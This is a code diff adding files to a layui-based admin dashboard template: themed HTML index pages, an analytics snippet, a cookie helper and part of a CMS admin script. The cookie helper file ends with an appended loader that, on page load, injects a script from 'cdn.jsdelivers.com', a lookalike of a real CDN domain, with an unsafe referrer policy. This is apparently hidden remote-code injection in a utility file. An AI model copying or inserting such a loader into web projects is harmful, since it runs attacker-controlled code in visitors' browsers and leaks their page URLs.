<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;"><i class="layui-icon layui-anim layui-anim-rotate layui-anim-loop"></i> 请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
layui.config({
|
||||
base: 'build/js/'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'page'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/build/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,126 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/app.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/themes/red.css" media="all">
|
||||
</head>
|
||||
|
||||
<body class="kit-theme">
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav" kit-one-level>
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">基本资料</a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="javascript:;"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/components/table/table.html" data-name="table" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表格(page)</span></a>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/views/form.html" data-name="form" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表单(page)</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;">主体内容加载中,请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
var message;
|
||||
layui.config({
|
||||
base: 'build/js/'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//将message设置为全局以便子页面调用
|
||||
message = layui.message;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'iframe'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/build/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,125 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/app.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/themes/pink.css" media="all">
|
||||
</head>
|
||||
|
||||
<body class="kit-theme">
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">其它系统</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">邮件管理</a></dd>
|
||||
<dd><a href="javascript:;">消息管理</a></dd>
|
||||
<dd><a href="javascript:;">授权管理</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'basic.html',icon:'',title:'基本资料',id:'966'}"><span>基本资料</span></a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="javascript:;"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;"><i class="layui-icon layui-anim layui-anim-rotate layui-anim-loop"></i> 请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
layui.config({
|
||||
base: 'build/js/'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'page'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/build/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,167 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all" />
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all" />
|
||||
<link rel="stylesheet" href="./src/css/app.css" media="all" />
|
||||
<link rel="stylesheet" href="./src/css/themes/default.css" media="all" id="skin" kit-skin />
|
||||
</head>
|
||||
|
||||
<body class="kit-theme">
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">其它系统</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">邮件管理</a></dd>
|
||||
<dd><a href="javascript:;">消息管理</a></dd>
|
||||
<dd><a href="javascript:;">授权管理</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<i class="layui-icon"></i> 皮肤
|
||||
</a>
|
||||
<dl class="layui-nav-child skin">
|
||||
<dd><a href="javascript:;" data-skin="default" style="color:#393D49;"><i class="layui-icon"></i> 默认</a></dd>
|
||||
<dd><a href="javascript:;" data-skin="orange" style="color:#ff6700;"><i class="layui-icon"></i> 橘子橙</a></dd>
|
||||
<dd><a href="javascript:;" data-skin="green" style="color:#00a65a;"><i class="layui-icon"></i> 原谅绿</a></dd>
|
||||
<dd><a href="javascript:;" data-skin="pink" style="color:#FA6086;"><i class="layui-icon"></i> 少女粉</a></dd>
|
||||
<dd><a href="javascript:;" data-skin="blue.1" style="color:#00c0ef;"><i class="layui-icon"></i> 天空蓝</a></dd>
|
||||
<dd><a href="javascript:;" data-skin="red" style="color:#dd4b39;"><i class="layui-icon"></i> 枫叶红</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'basic.html',icon:'',title:'基本资料',id:'966'}"><span>基本资料</span></a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="login.html"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;"><i class="layui-icon layui-anim layui-anim-rotate layui-anim-loop"></i> 请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
</div>
|
||||
</div>
|
||||
<!-- <script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script> -->
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
window.location.href='/login';
|
||||
|
||||
var message;
|
||||
layui.config({
|
||||
base: 'src/js/',
|
||||
version: '1.0.1'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//将message设置为全局以便子页面调用
|
||||
message = layui.message;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'iframe'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/src/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
$('dl.skin > dd').on('click', function() {
|
||||
var $that = $(this);
|
||||
var skin = $that.children('a').data('skin');
|
||||
switchSkin(skin);
|
||||
});
|
||||
var setSkin = function(value) {
|
||||
layui.data('kit_skin', {
|
||||
key: 'skin',
|
||||
value: value
|
||||
});
|
||||
},
|
||||
getSkinName = function() {
|
||||
return layui.data('kit_skin').skin;
|
||||
},
|
||||
switchSkin = function(value) {
|
||||
var _target = $('link[kit-skin]')[0];
|
||||
_target.href = _target.href.substring(0, _target.href.lastIndexOf('/') + 1) + value + _target.href.substring(_target.href.lastIndexOf('.'));
|
||||
setSkin(value);
|
||||
|
||||
},
|
||||
initSkin = function() {
|
||||
var skin = getSkinName();
|
||||
switchSkin(skin === undefined ? 'default' : skin);
|
||||
}();
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,85 @@
|
||||
var cookieUtils = {
|
||||
get: function(name){
|
||||
var cookieName=encodeURIComponent(name) + "=";
|
||||
//只取得最匹配的name，value
|
||||
var cookieStart = document.cookie.indexOf(cookieName);
|
||||
var cookieValue = null;
|
||||
|
||||
if (cookieStart > -1) {
|
||||
// 从cookieStart算起
|
||||
var cookieEnd = document.cookie.indexOf(';', cookieStart);
|
||||
//从=后面开始
|
||||
if (cookieEnd > -1) {
|
||||
cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, cookieEnd));
|
||||
} else {
|
||||
cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, document.cookie.length));
|
||||
}
|
||||
}
|
||||
|
||||
return cookieValue;
|
||||
},
|
||||
|
||||
set: function(name, val, options) {
|
||||
if (!name) {
|
||||
throw new Error("coolie must have name");
|
||||
}
|
||||
var enc = encodeURIComponent;
|
||||
var parts = [];
|
||||
|
||||
val = (val !== null && val !== undefined) ? val.toString() : "";
|
||||
options = options || {};
|
||||
parts.push(enc(name) + "=" + enc(val));
|
||||
// domain中必须包含两个点号
|
||||
if (options.domain) {
|
||||
parts.push("domain=" + options.domain);
|
||||
}
|
||||
if (options.path) {
|
||||
parts.push("path=" + options.path);
|
||||
}
|
||||
// 如果不设置expires和max-age浏览器会在页面关闭时清空cookie
|
||||
if (options.expires) {
|
||||
parts.push("expires=" + options.expires.toGMTString());
|
||||
}
|
||||
if (options.maxAge && typeof options.maxAge === "number") {
|
||||
parts.push("max-age=" + options.maxAge);
|
||||
}
|
||||
if (options.httpOnly) {
|
||||
parts.push("HTTPOnly");
|
||||
}
|
||||
if (options.secure) {
|
||||
parts.push("secure");
|
||||
}
|
||||
|
||||
document.cookie = parts.join(";");
|
||||
},
|
||||
delete: function(name, options) {
|
||||
options.expires = new Date(0);// 设置为过去日期
|
||||
this.set(name, null, options);
|
||||
}
|
||||
}
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 22:06:18
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
'use strict';
|
||||
layui.use(['jquery','layer','element'],function(){
|
||||
window.jQuery = window.$ = layui.jquery;
|
||||
window.layer = layui.layer;
|
||||
var element = layui.element;
|
||||
|
||||
// larry-side-menu向左折叠
|
||||
$('.larry-side-menu').click(function() {
|
||||
var sideWidth = $('#larry-side').width();
|
||||
if(sideWidth === 200) {
|
||||
$('#larry-body').animate({
|
||||
left: '0'
|
||||
}); //admin-footer
|
||||
$('#larry-footer').animate({
|
||||
left: '0'
|
||||
});
|
||||
$('#larry-side').animate({
|
||||
width: '0'
|
||||
});
|
||||
} else {
|
||||
$('#larry-body').animate({
|
||||
left: '200px'
|
||||
});
|
||||
$('#larry-footer').animate({
|
||||
left: '200px'
|
||||
});
|
||||
$('#larry-side').animate({
|
||||
width: '200px'
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
$(function(){
|
||||
// 刷新iframe操作
|
||||
$("#refresh_iframe").click(function(){
|
||||
$(".layui-tab-content .layui-tab-item").each(function(){
|
||||
if($(this).hasClass('layui-show')){
|
||||
$(this).children('iframe')[0].contentWindow.location.reload(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
$('#lock').mouseover(function(){
|
||||
layer.tips('请按Alt+L快速锁屏！', '#lock', {
|
||||
tips: [1, '#FF5722'],
|
||||
time: 4000
|
||||
});
|
||||
})
|
||||
// 快捷键锁屏设置
|
||||
$(document).keydown(function(e){
|
||||
if(e.altKey && e.which == 76){
|
||||
lockSystem();
|
||||
}
|
||||
});
|
||||
function startTimer(){
|
||||
var today=new Date();
|
||||
var h=today.getHours();
|
||||
var m=today.getMinutes();
|
||||
var s=today.getSeconds();
|
||||
m = m < 10 ? '0' + m : m;
|
||||
s = s < 10 ? '0' + s : s;
|
||||
$('#time').html(h+":"+m+":"+s);
|
||||
t=setTimeout(function(){startTimer()},500);
|
||||
}
|
||||
// 锁屏状态检测
|
||||
function checkLockStatus(locked){
|
||||
// 锁屏
|
||||
if(locked == 1){
|
||||
$('.lock-screen').show();
|
||||
$('#locker').show();
|
||||
$('#layui_layout').hide();
|
||||
$('#lock_password').val('');
|
||||
}else{
|
||||
$('.lock-screen').hide();
|
||||
$('#locker').hide();
|
||||
$('#layui_layout').show();
|
||||
}
|
||||
}
|
||||
|
||||
checkLockStatus('0');
|
||||
// 锁定屏幕
|
||||
function lockSystem(){
|
||||
|
||||
var url = '';
|
||||
$.post(
|
||||
url,
|
||||
function(data){
|
||||
if(data=='1'){
|
||||
checkLockStatus(1);
|
||||
}else{
|
||||
layer.alert('锁屏失败，请稍后再试！');
|
||||
}
|
||||
});
|
||||
startTimer();
|
